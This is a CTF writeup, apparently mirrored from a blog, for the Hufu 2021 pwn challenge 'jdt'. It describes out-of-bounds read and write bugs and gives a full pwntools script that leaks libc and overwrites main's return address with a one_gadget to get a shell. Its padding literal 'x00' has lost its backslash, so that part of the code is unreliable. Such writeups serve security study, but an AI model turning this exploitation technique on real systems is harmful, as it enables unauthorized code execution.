zoukankan      html  css  js  c++  java
  • 虎符2021线下赛pwn writeup

    jdt

      一个图书管理系统,但并不是常规的堆题。edit和show函数可以越界。edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell。

    from pwn import *
    
    p = process('./pwn')
    elf = ELF('./pwn')
    libc = ELF('./libc.so.6')
    
    context(os='linux',arch='amd64',log_level='debug')
    
    def duan():
        gdb.attach(p)
        pause()
    def add(price,author,name,description):
        p.sendlineafter('Choice: ','1')
        p.sendafter('Price?',str(price))
        p.sendafter('Author?',author)
        p.sendafter('name?',name)
        p.sendafter('Description?',description)
    def show(index):
        p.sendlineafter('Choice: ','3')
        p.sendlineafter('idx?',str(index))
    
    show(16)
    p.recvuntil('Author: ')
    addr = u64(p.recv(6).ljust(8,'x00'))
    print 'addr-->'+hex(addr)
    
    p.sendlineafter('Choice: ','2')
    p.sendlineafter('idx?','16')
    p.sendlineafter('Choice: ','2')
    p.sendafter('Author?','a'*8)
    show(16)
    p.recvuntil('aaaaaaaa')
    libc_base = u64(p.recv(6).ljust(8,'x00'))-240-libc.symbols['__libc_start_main']
    print 'libc_base-->'+hex(libc_base)
    og = [0x45226,0x4527a,0xf0364,0xf1207]
    shell = libc_base+og[0]
    
    p.sendlineafter('Choice: ','2')
    p.sendlineafter('idx?','16')
    p.sendlineafter('Choice: ','2')
    p.sendafter('Author?',p64(addr)+p64(shell))
    
    p.sendlineafter('Choice: ','5')
    p.interactive()

     未完结...

  • 相关阅读:
    Docker基础技术-Linux Namespace
    基于 Kata Containers 与 iSulad 的云容器实践解析
    runc network
    cgroup--device systemd-cgls + devices.deny
    setcap capabilities cap_net_raw
    kata agent
    什么是路演
    穿行测试
    交易性金融资产与可供出售金融资产
    什么情况使用消极式函证
  • 原文地址:https://www.cnblogs.com/bhxdn/p/14763962.html
Copyright © 2011-2022 走看看